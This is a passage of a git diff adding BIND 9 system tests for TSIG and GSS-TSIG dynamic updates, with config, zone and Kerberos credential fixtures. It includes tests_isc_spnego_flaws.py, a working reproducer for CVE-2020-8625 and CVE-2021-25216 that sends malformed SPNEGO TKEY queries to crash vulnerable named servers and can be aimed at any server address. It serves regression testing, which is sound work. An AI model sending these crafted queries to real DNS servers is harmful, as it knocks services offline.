-i "sha384.*TSIG.*BADTRUNC" dig.out.sha384-192 > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "fetching using hmac-sha512-256 (BADTRUNC)" +ret=0 +$DIG $DIGOPTS example.nil. -y "hmac-sha512-256:sha512:$sha512" @10.53.0.1 soa > dig.out.sha512-256 || ret=1 +grep -i "sha512.*TSIG.*BADTRUNC" dig.out.sha512-256 > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "attempting fetch with bad tsig algorithm" +ret=0 +$DIG $DIGOPTS example.nil. -y "badalgo:invalid:$sha512" @10.53.0.1 soa > dig.out.badalgo 2>&1 || ret=1 +grep -i "Couldn't create key invalid: algorithm is unsupported" dig.out.badalgo > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "checking both OPT and TSIG records are returned when TC=1" +ret=0 +$DIG -p ${PORT} +ignore +bufsize=512 large.example.nil -y "hmac-sha1:sha1:$sha1" @10.53.0.1 txt > dig.out.large 2>&1 || ret=1 +grep "flags:.* tc[ ;]" dig.out.large > /dev/null || ret=1 +grep "status: NOERROR" dig.out.large > /dev/null || ret=1 +grep "EDNS:" dig.out.large > /dev/null || ret=1 +grep -i "sha1.*TSIG.*NOERROR" dig.out.sha1 > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "check that dnssec-keygen won't generate TSIG keys" +ret=0 +$KEYGEN -a hmac-sha256 -b 128 -n host example.net > keygen.out3 2>&1 && ret=1 +grep "unknown algorithm" keygen.out3 > /dev/null || ret=1 + +echo_i "check that a 'BADTIME' response with 'QR=0' is handled as a request" +ret=0 +$PERL ../packet.pl -a 10.53.0.1 -p ${PORT} -t tcp < badtime > /dev/null || ret=1 +$DIG -p ${PORT} @10.53.0.1 version.bind txt ch > dig.out.verify || ret=1 +grep "status: NOERROR" dig.out.verify > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +if "$PERL" -e 'use Net::DNS; use Net::DNS::Packet;' > /dev/null 2>&1 +then + echo_i "check that TSIG in the wrong place returns FORMERR" + ret=0 + $PERL ../packet.pl -a 10.53.0.1 -p ${PORT} -t udp -d < badlocation > packet.out + grep "rcode = FORMERR" packet.out > /dev/null || ret=1 + if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 + fi +fi + +echo_i "check that a malformed truncated response to a TSIG query is handled" +ret=0 +$DIG -p $PORT @10.53.0.1 bad-tsig > dig.out.bad-tsig || ret=1 +grep "status: SERVFAIL" dig.out.bad-tsig > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +if $FEATURETEST --md5 +then + echo_i "fetching using hmac-md5 (legacy)" + ret=0 + $DIG $DIGOPTS example.nil. -k ns1/legacy/Khmac-md5-legacy.+*.key @10.53.0.1 soa > dig.out.md5.legacy 2>&1 || ret=1 + grep -i "md5.*TSIG.*NOERROR" dig.out.md5.legacy > /dev/null || ret=1 + grep "Use of K\* file pairs for HMAC is deprecated" dig.out.md5.legacy > /dev/null || ret=1 + if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 + fi +else + echo_i "skipping using hmac-md5" +fi + +echo_i "fetching using hmac-sha1 (legacy)" +ret=0 +$DIG $DIGOPTS example.nil. -k ns1/legacy/Khmac-sha1-legacy.+*.key @10.53.0.1 soa > dig.out.sha1.legacy 2>&1 || ret=1 +grep -i "sha1.*TSIG.*NOERROR" dig.out.sha1.legacy > /dev/null || ret=1 +grep "Use of K\* file pairs for HMAC is deprecated" dig.out.sha1.legacy > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "fetching using hmac-sha224 (legacy)" +ret=0 +$DIG $DIGOPTS example.nil. -k ns1/legacy/Khmac-sha224-legacy.+*.key @10.53.0.1 soa > dig.out.sha224 2>&1 || ret=1 +grep -i "sha224.*TSIG.*NOERROR" dig.out.sha224 > /dev/null || ret=1 +grep "Use of K\* file pairs for HMAC is deprecated" dig.out.sha224 > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "fetching using hmac-sha256 (legacy)" +ret=0 +$DIG $DIGOPTS example.nil. -k ns1/legacy/Khmac-sha256-legacy.*.key @10.53.0.1 soa > dig.out.sha256 2>&1 || ret=1 +grep -i "sha256.*TSIG.*NOERROR" dig.out.sha256 > /dev/null || ret=1 +grep "Use of K\* file pairs for HMAC is deprecated" dig.out.sha256 > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "fetching using hmac-sha384 (legacy)" +ret=0 +$DIG $DIGOPTS example.nil. -k ns1/legacy/Khmac-sha384-legacy.*.key @10.53.0.1 soa > dig.out.sha384 2>&1 || ret=1 +grep -i "sha384.*TSIG.*NOERROR" dig.out.sha384 > /dev/null || ret=1 +grep "Use of K\* file pairs for HMAC is deprecated" dig.out.sha384 > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "fetching using hmac-sha512 (legacy)" +ret=0 +$DIG $DIGOPTS example.nil. -k ns1/legacy/Khmac-sha512-legacy.*.key @10.53.0.1 soa > dig.out.sha512 2>&1 || ret=1 +grep "Use of K\* file pairs for HMAC is deprecated" dig.out.sha512 > /dev/null || ret=1 +grep -i "sha512.*TSIG.*NOERROR" dig.out.sha512 > /dev/null || ret=1 +if [ $ret -eq 1 ] ; then + echo_i "failed"; status=1 +fi + +echo_i "exit status: $status" +[ $status -eq 0 ] || exit 1 diff --git a/bin/tests/system/tsig/tests_sh_tsig.py b/bin/tests/system/tsig/tests_sh_tsig.py new file mode 100644 index 0000000..b421852 --- /dev/null +++ b/bin/tests/system/tsig/tests_sh_tsig.py @@ -0,0 +1,14 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + + +def test_tsig(run_tests_sh): + run_tests_sh() diff --git a/bin/tests/system/tsiggss/authsock.pl b/bin/tests/system/tsiggss/authsock.pl new file mode 100644 index 0000000..4c76bf8 --- /dev/null +++ b/bin/tests/system/tsiggss/authsock.pl @@ -0,0 +1,91 @@ +#!/usr/bin/env perl + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +# test the update-policy external protocol + +require 5.6.0; + +use IO::Socket::UNIX; +use Getopt::Long; + +my $path; +my $typeallowed = "A"; +my $pidfile = "authsock.pid"; +my $timeout = 0; + +GetOptions("path=s" => \$path, + "type=s" => \$typeallowed, + "pidfile=s" => \$pidfile, + "timeout=i" => \$timeout); + +if (!defined($path)) { + print("Usage: authsock.pl --path=<sockpath> --type=type --pidfile=pidfile\n"); + exit(1); +} + +unlink($path); +my $server = IO::Socket::UNIX->new(Local => $path, Type => SOCK_STREAM, Listen => 8) or + die "unable to create socket $path"; +chmod 0777, $path; + +# setup our pidfile +open(my $pid,">",$pidfile) + or die "unable to open pidfile $pidfile"; +print $pid "$$\n"; +close($pid); + +if ($timeout != 0) { + # die after the given timeout + alarm($timeout); +} + +while (my $client = $server->accept()) { + $client->recv(my $buf, 8, 0); + my ($version, $req_len) = unpack('N N', $buf); + + if ($version != 1 || $req_len < 17) { + printf("Badly formatted request\n"); + $client->send(pack('N', 2)); + next; + } + + $client->recv(my $buf, $req_len - 8, 0); + + my ($signer, + $name, + $addr, + $type, + $key, + $key_data) = unpack('Z* Z* Z* Z* Z* N/a', $buf); + + if ($req_len != length($buf)+8) { + printf("Length mismatch %u %u\n", $req_len, length($buf)+8); + $client->send(pack('N', 2)); + next; + } + + printf("version=%u signer=%s name=%s addr=%s type=%s key=%s key_data_len=%u\n", + $version, $signer, $name, $addr, $type, $key, length($key_data)); + + my $result; + if ($typeallowed eq $type) { + $result = 1; + printf("allowed type %s == %s\n", $type, $typeallowed); + } else { + printf("disallowed type %s != %s\n", $type, $typeallowed); + $result = 0; + } + + $reply = pack('N', $result); + $client->send($reply); +} diff --git a/bin/tests/system/tsiggss/clean.sh b/bin/tests/system/tsiggss/clean.sh new file mode 100644 index 0000000..0ace209 --- /dev/null +++ b/bin/tests/system/tsiggss/clean.sh @@ -0,0 +1,28 @@ +#!/bin/sh + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +# +# Clean up after tsiggss tests. +# + +rm -f ns1/*.jnl ns1/update.txt ns1/auth.sock +rm -f ns1/*.db ns1/K*.key ns1/K*.private +rm -f ns1/_default.tsigkeys +rm -f */named.memstats +rm -f */named.conf +rm -f */named.run +rm -f authsock.pid +rm -f ns1/core +rm -f nsupdate.out* +rm -f ns*/named.lock +rm -f ns*/managed-keys.bind* diff --git a/bin/tests/system/tsiggss/ns1/administrator.ccache b/bin/tests/system/tsiggss/ns1/administrator.ccache Binary files differnew file mode 100644 index 0000000..e6c2e74 --- /dev/null +++ b/bin/tests/system/tsiggss/ns1/administrator.ccache diff --git a/bin/tests/system/tsiggss/ns1/dns.keytab b/bin/tests/system/tsiggss/ns1/dns.keytab Binary files differnew file mode 100644 index 0000000..dcb863b --- /dev/null +++ b/bin/tests/system/tsiggss/ns1/dns.keytab diff --git a/bin/tests/system/tsiggss/ns1/example.nil.db.in b/bin/tests/system/tsiggss/ns1/example.nil.db.in new file mode 100644 index 0000000..ffa7e58 --- /dev/null +++ b/bin/tests/system/tsiggss/ns1/example.nil.db.in @@ -0,0 +1,62 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +; -*- zone -*- +; this was generated by a Samba4 provision, and is typical +; of a AD DNS zone +$ORIGIN example.nil. +$TTL 1W +@ IN SOA blu hostmaster ( + 2010113027 ; serial + 2D ; refresh + 4H ; retry + 6W ; expiry + 1W ) ; minimum + IN NS blu + + IN A 10.53.0.1 +; + +blu IN A 10.53.0.1 +gc._msdcs IN A 10.53.0.1 + +fb33eb58-5d58-4100-a114-256e0a97ffc1._msdcs IN CNAME blu +; +; global catalog servers +_gc._tcp IN SRV 0 100 3268 blu +_gc._tcp.Default-First-Site-Name._sites IN SRV 0 100 3268 blu +_ldap._tcp.gc._msdcs IN SRV 0 100 3268 blu +_ldap._tcp.Default-First-Site-Name._sites.gc._msdcs IN SRV 0 100 3268 blu +; +; ldap servers +_ldap._tcp IN SRV 0 100 389 blu +_ldap._tcp.dc._msdcs IN SRV 0 100 389 blu +_ldap._tcp.pdc._msdcs IN SRV 0 100 389 blu +_ldap._tcp.d86745b4-f3e0-4af3-be03-2130d1534be8.domains._msdcs IN SRV 0 100 389 blu +_ldap._tcp.Default-First-Site-Name._sites IN SRV 0 100 389 blu +_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs IN SRV 0 100 389 blu +; +; krb5 servers +_kerberos._tcp IN SRV 0 100 88 blu +_kerberos._tcp.dc._msdcs IN SRV 0 100 88 blu +_kerberos._tcp.Default-First-Site-Name._sites IN SRV 0 100 88 blu +_kerberos._tcp.Default-First-Site-Name._sites.dc._msdcs IN SRV 0 100 88 blu +_kerberos._udp IN SRV 0 100 88 blu +; MIT kpasswd likes to lookup this name on password change +_kerberos-master._tcp IN SRV 0 100 88 blu +_kerberos-master._udp IN SRV 0 100 88 blu +; +; kpasswd +_kpasswd._tcp IN SRV 0 100 464 blu +_kpasswd._udp IN SRV 0 100 464 blu +; +; heimdal 'find realm for host' hack +_kerberos IN TXT EXAMPLE.NIL diff --git a/bin/tests/system/tsiggss/ns1/named.conf.in b/bin/tests/system/tsiggss/ns1/named.conf.in new file mode 100644 index 0000000..7b34c32 --- /dev/null +++ b/bin/tests/system/tsiggss/ns1/named.conf.in @@ -0,0 +1,50 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.1; + notify-source 10.53.0.1; + transfer-source 10.53.0.1; + port @PORT@; + pid-file "named.pid"; + session-keyfile "session.key"; + listen-on { 10.53.0.1; 127.0.0.1; }; + listen-on-v6 { none; }; + recursion no; + dnssec-validation no; + notify yes; + tkey-gssapi-keytab "dns.keytab"; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +zone "example.nil." IN { + type primary; + file "example.nil.db"; + + update-policy { + grant Administrator@EXAMPLE.NIL wildcard * A AAAA SRV CNAME; + grant testdenied@EXAMPLE.NIL wildcard * TXT; + grant "local:auth.sock" external * CNAME; + }; + + /* we need to use check-names ignore so _msdcs A records can be created */ + check-names ignore; +}; diff --git a/bin/tests/system/tsiggss/ns1/testdenied.ccache b/bin/tests/system/tsiggss/ns1/testdenied.ccache Binary files differnew file mode 100644 index 0000000..070e85b --- /dev/null +++ b/bin/tests/system/tsiggss/ns1/testdenied.ccache diff --git a/bin/tests/system/tsiggss/prereq.sh b/bin/tests/system/tsiggss/prereq.sh new file mode 100644 index 0000000..0f8e2d6 --- /dev/null +++ b/bin/tests/system/tsiggss/prereq.sh @@ -0,0 +1,22 @@ +#!/bin/sh + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +. ../conf.sh + +# enable the tsiggss test only if gssapi was enabled +$FEATURETEST --gssapi || { + echo_i "gssapi and krb5 not supported - skipping tsiggss test" + exit 255 +} + +exit 0 diff --git a/bin/tests/system/tsiggss/setup.sh b/bin/tests/system/tsiggss/setup.sh new file mode 100644 index 0000000..37b80fd --- /dev/null +++ b/bin/tests/system/tsiggss/setup.sh @@ -0,0 +1,21 @@ +#!/bin/sh + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +. ../conf.sh + +$SHELL clean.sh + +copy_setports ns1/named.conf.in ns1/named.conf + +key=$($KEYGEN -Cq -K ns1 -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS -n HOST -T KEY key.example.nil.) +cat ns1/example.nil.db.in ns1/${key}.key > ns1/example.nil.db diff --git a/bin/tests/system/tsiggss/tests.sh b/bin/tests/system/tsiggss/tests.sh new file mode 100644 index 0000000..97cc7bb --- /dev/null +++ b/bin/tests/system/tsiggss/tests.sh @@ -0,0 +1,178 @@ +#!/bin/sh + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +# tests for TSIG-GSS updates + +set -e + +. ../conf.sh + +status=0 +n=1 + +DIGOPTS="@10.53.0.1 -p ${PORT}" + +test_update () { + num="$1" + host="$2" + type="$3" + cmd="$4" + digout="$5" + + cat <<EOF > ns1/update.txt +server 10.53.0.1 ${PORT} +update add $host $cmd +send +answer +EOF + echo_i "testing update for $host $type $cmd" + $NSUPDATE -g -d ns1/update.txt > nsupdate.out${num} 2>&1 || { + echo_i "update failed for $host $type $cmd" + sed "s/^/I:/" nsupdate.out${num} + return 1 + } + + # Verify that TKEY response is signed. + tkeyout=$(awk '/recvmsg reply from GSS-TSIG query/,/Sending update to/' nsupdate.out${num}) + pattern="recvmsg reply from GSS-TSIG query .* opcode: QUERY, status: NOERROR, id: .* flags: qr; QUESTION: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; QUESTION SECTION: ;.* ANY TKEY ;; ANSWER SECTION: .* 0 ANY TKEY gss-tsig\. .* ;; TSIG PSEUDOSECTION: .* 0 ANY TSIG gss-tsig\. .* NOERROR 0" + echo $tkeyout | grep "$pattern" > /dev/null || { + echo_i "bad tkey response (not tsig signed)" + return 1 + } + + # Weak verification that TKEY response is signed. + grep -q "flags: qr; QUESTION: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1" nsupdate.out${num} || { + echo_i "bad tkey response (not tsig signed)" + return 1 + } + + out=$($DIG $DIGOPTS -t $type -q $host | grep -E "^${host}") + lines=$(echo "$out" | grep "$digout" | wc -l) + [ $lines -eq 1 ] || { + echo_i "dig output incorrect for $host $type $cmd: $out" + return 1 + } + return 0 +} + + +# Testing updates with good credentials. +KRB5CCNAME="FILE:"$(pwd)/ns1/administrator.ccache +export KRB5CCNAME + +echo_i "testing updates to testdc1 as administrator ($n)" +ret=0 +test_update $n testdc1.example.nil. A "86400 A 10.53.0.10" "10.53.0.10" || ret=1 +n=$((n+1)) +if [ "$ret" -ne 0 ]; then echo_i "failed"; fi +status=$((status+ret)) + +echo_i "testing updates to testdc2 as administrator ($n)" +ret=0 +test_update $n testdc2.example.nil. A "86400 A 10.53.0.11" "10.53.0.11" || ret=1 +n=$((n+1)) +if [ "$ret" -ne 0 ]; then echo_i "failed"; fi +status=$((status+ret)) + +echo_i "testing updates to denied as administrator ($n)" +ret=0 +test_update $n denied.example.nil. TXT "86400 TXT helloworld" "helloworld" > /dev/null && ret=1 +n=$((n+1)) +if [ "$ret" -ne 0 ]; then echo_i "failed"; fi +status=$((status+ret)) + + +# Testing denied updates. +KRB5CCNAME="FILE:"$(pwd)/ns1/testdenied.ccache +export KRB5CCNAME + +echo_i "testing updates to denied (A) as a user ($n)" +ret=0 +test_update $n testdenied.example.nil. A "86400 A 10.53.0.12" "10.53.0.12" > /dev/null && ret=1 +n=$((n+1)) +if [ "$ret" -ne 0 ]; then echo_i "failed"; fi +status=$((status+ret)) + +echo_i "testing updates to denied (TXT) as a user ($n)" +ret=0 +test_update $n testdenied.example.nil. TXT "86400 TXT helloworld" "helloworld" || ret=1 +n=$((n+1)) +if [ "$ret" -ne 0 ]; then echo_i "failed"; fi +status=$((status+ret)) + +echo_i "testing external update policy (CNAME) ($n)" +ret=0 +test_update $n testcname.example.nil. CNAME "86400 CNAME testdenied.example.nil" "testdenied" > /dev/null && ret=1 +n=$((n+1)) +if [ "$ret" -ne 0 ]; then echo_i "failed"; fi +status=$((status+ret)) + +echo_i "testing external update policy (CNAME) with auth sock ($n)" +ret=0 +$PERL ./authsock.pl --type=CNAME --path=ns1/auth.sock --pidfile=authsock.pid --timeout=120 > /dev/null 2>&1 & +sleep 1 +test_update $n testcname.example.nil. CNAME "86400 CNAME testdenied.example.nil" "testdenied" || ret=1 +n=$((n+1)) +if [ "$ret" -ne 0 ]; then echo_i "failed"; fi +status=$((status+ret)) + +echo_i "testing external update policy (A) ($n)" +ret=0 +test_update $n testcname.example.nil. A "86400 A 10.53.0.13" "10.53.0.13" > /dev/null && ret=1 +n=$((n+1)) +if [ "$ret" -ne 0 ]; then echo_i "failed"; fi +status=$((status+ret)) + +echo_i "testing external policy with SIG(0) key ($n)" +ret=0 +$NSUPDATE -k ns1/Kkey.example.nil.*.private <<END > /dev/null 2>&1 || ret=1 +server 10.53.0.1 ${PORT} +zone example.nil +update add fred.example.nil 120 cname foo.bar. +send +END +output=$($DIG $DIGOPTS +short cname fred.example.nil.) +[ -n "$output" ] || ret=1 +[ $ret -eq 0 ] || echo_i "failed" +n=$((n+1)) +if [ "$ret" -ne 0 ]; then echo_i "failed"; fi +status=$((status+ret)) + +echo_i "ensure too long realm name is fatal in non-interactive mode ($n)" +ret=0 +$NSUPDATE <<END > nsupdate.out${n} 2>&1 && ret=1 + realm namenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamename +END +grep "realm is too long" nsupdate.out${n} > /dev/null || ret=1 +grep "syntax error" nsupdate.out${n} > /dev/null || ret=1 +n=$((n+1)) +if [ "$ret" -ne 0 ]; then echo_i "failed"; fi +status=$((status+ret)) + +echo_i "ensure too long realm name is not fatal in interactive mode ($n)" +ret=0 +$NSUPDATE -i <<END > nsupdate.out${n} 2>&1 || ret=1 + realm namenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamename +END +grep "realm is too long" nsupdate.out${n} > /dev/null || ret=1 +[ $ret = 0 ] || { echo_i "failed"; status=1; } +n=$((n+1)) +if [ "$ret" -ne 0 ]; then echo_i "failed"; fi +status=$((status+ret)) + +[ $status -eq 0 ] && echo_i "tsiggss tests all OK" + +kill $(cat authsock.pid) + +echo_i "exit status: $status" +[ $status -eq 0 ] || exit 1 diff --git a/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py b/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py new file mode 100755 index 0000000..6340b5a --- /dev/null +++ b/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py @@ -0,0 +1,219 @@ +#!/usr/bin/python +############################################################################ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. +############################################################################ + +""" +A tool for reproducing ISC SPNEGO vulnerabilities +""" + +import argparse +import datetime +import struct +import time + +import pytest + +pytest.importorskip("dns") +import dns.message +import dns.name +import dns.query +import dns.rdata +import dns.rdataclass +import dns.rdatatype +import dns.rrset + + +class CraftedTKEYQuery: + # pylint: disable=too-few-public-methods + + """ + A class for preparing crafted TKEY queries + """ + + def __init__(self, opts: argparse.Namespace) -> None: + # Prepare crafted key data + tkey_data = ASN1Encoder(opts).get_tkey_data() + # Prepare TKEY RDATA containing crafted key data + rdata = dns.rdata.GenericRdata( + dns.rdataclass.ANY, dns.rdatatype.TKEY, self._get_tkey_rdata(tkey_data) + ) + # Prepare TKEY RRset with crafted RDATA (for the ADDITIONAL section) + rrset = dns.rrset.from_rdata(dns.name.root, dns.rdatatype.TKEY, rdata) + + # Prepare complete TKEY query to send + self.msg = dns.message.make_query( + dns.name.root, dns.rdatatype.TKEY, dns.rdataclass.ANY + ) + self.msg.additional.append(rrset) + + def _get_tkey_rdata(self, tkey_data: bytes) -> bytes: + """ + Return the RDATA to be used for the TKEY RRset sent in the ADDITIONAL + section + """ + tkey_rdata = dns.name.from_text("gss-tsig.").to_wire() # domain + if not tkey_rdata: + return b"" + tkey_rdata += struct.pack(">I", int(time.time()) - 3600) # inception + tkey_rdata += struct.pack(">I", int(time.time()) + 86400) # expiration + tkey_rdata += struct.pack(">H", 3) # mode + tkey_rdata += struct.pack(">H", 0) # error + tkey_rdata += self._with_len(tkey_data) # key + tkey_rdata += struct.pack(">H", 0) # other size + return tkey_rdata + + def _with_len(self, data: bytes) -> bytes: + """ + Return 'data' with its length prepended as a 16-bit big-endian integer + """ + return struct.pack(">H", len(data)) + data + + +class ASN1Encoder: + # pylint: disable=too-few-public-methods + + """ + A custom ASN1 encoder which allows preparing malformed GSSAPI tokens + """ + + SPNEGO_OID = b"\x06\x06\x2b\x06\x01\x05\x05\x02" + + def __init__(self, opts: argparse.Namespace) -> None: + self._real_oid_length = opts.real_oid_length + self._extra_oid_length = opts.extra_oid_length + + # The TKEY RR being sent contains an encoded negTokenInit SPNEGO message. + # RFC 4178 section 4.2 specifies how such a message is constructed. + + def get_tkey_data(self) -> bytes: + """ + Return the key data field of the TKEY RR to be sent + """ + return self._asn1( + data_id=b"\x60", data=self.SPNEGO_OID + self._get_negtokeninit() + ) + + def _get_negtokeninit(self) -> bytes: + """ + Return the ASN.1 DER-encoded form of the negTokenInit message to send + """ + return self._asn1( + data_id=b"\xa0", + data=self._asn1( + data_id=b"\x30", + data=self._get_mechtypelist(), + extra_length=self._extra_oid_length, + ), + extra_length=self._extra_oid_length, + ) + + def _get_mechtypelist(self) -> bytes: + """ + Return the ASN.1 DER-encoded form of the MechTypeList to send + """ + return self._asn1( + data_id=b"\xa0", + data=self._asn1( + data_id=b"\x30", + data=self._get_mechtype(), + extra_length=self._extra_oid_length, + ), + extra_length=self._extra_oid_length, + ) + + def _get_mechtype(self) -> bytes: + """ + Return the ASN.1 DER-encoded form of a bogus security mechanism OID + which consists of 'self._real_oid_length' 0x01 bytes + """ + return self._asn1( + data_id=b"\x06", + data=b"\x01" * self._real_oid_length, + extra_length=self._extra_oid_length, + ) + + def _asn1(self, data_id: bytes, data: bytes, extra_length: int = 0) -> bytes: + """ + Return the ASN.1 DER-encoded form of 'data' to be included in GSSAPI + key data, designated with 'data_id' as the content identifier. Setting + 'extra_length' to a positive integer allows data length indicated in + the ASN.1 DER representation of 'data' to be increased beyond its + actual size. + """ + data_len = struct.pack(">I", len(data) + extra_length) + return data_id + b"\x84" + data_len + data + + +def parse_options() -> argparse.Namespace: + """ + Parse command line options + """ + parser = argparse.ArgumentParser() + parser.add_argument("--server-ip", required=True) + parser.add_argument("--server-port", type=int, default=53) + parser.add_argument("--real-oid-length", type=int, default=1) + parser.add_argument("--extra-oid-length", type=int, default=0) + + return parser.parse_args() + + +def send_crafted_tkey_query(opts: argparse.Namespace) -> None: + """ + Script entry point + """ + + query = CraftedTKEYQuery(opts).msg + print("# > " + str(datetime.datetime.now())) + print(query.to_text()) + print() + + response = dns.query.tcp(query, opts.server_ip, timeout=2, port=opts.server_port) + print("# < " + str(datetime.datetime.now())) + print(response.to_text()) + print() + + +def test_cve_2020_8625(named_port): + """ + Reproducer for CVE-2020-8625. When run for an affected BIND 9 version, + send_crafted_tkey_query() will raise a network-related exception due to + named (ns1) becoming unavailable after crashing. + """ + for i in range(0, 50): + opts = argparse.Namespace( + server_ip="10.53.0.1", + server_port=named_port, + real_oid_length=i, + extra_oid_length=0, + ) + send_crafted_tkey_query(opts) + + +def test_cve_2021_25216(named_port): + """ + Reproducer for CVE-2021-25216. When run for an affected BIND 9 version, + send_crafted_tkey_query() will raise a network-related exception due to + named (ns1) becoming unavailable after crashing. + """ + opts = argparse.Namespace( + server_ip="10.53.0.1", + server_port=named_port, + real_oid_length=1, + extra_oid_length=1073741824, + ) + send_crafted_tkey_query(opts) + + +if __name__ == "__main__": + cli_opts = parse_options() + send_crafted_tkey_query(cli_opts) diff --git 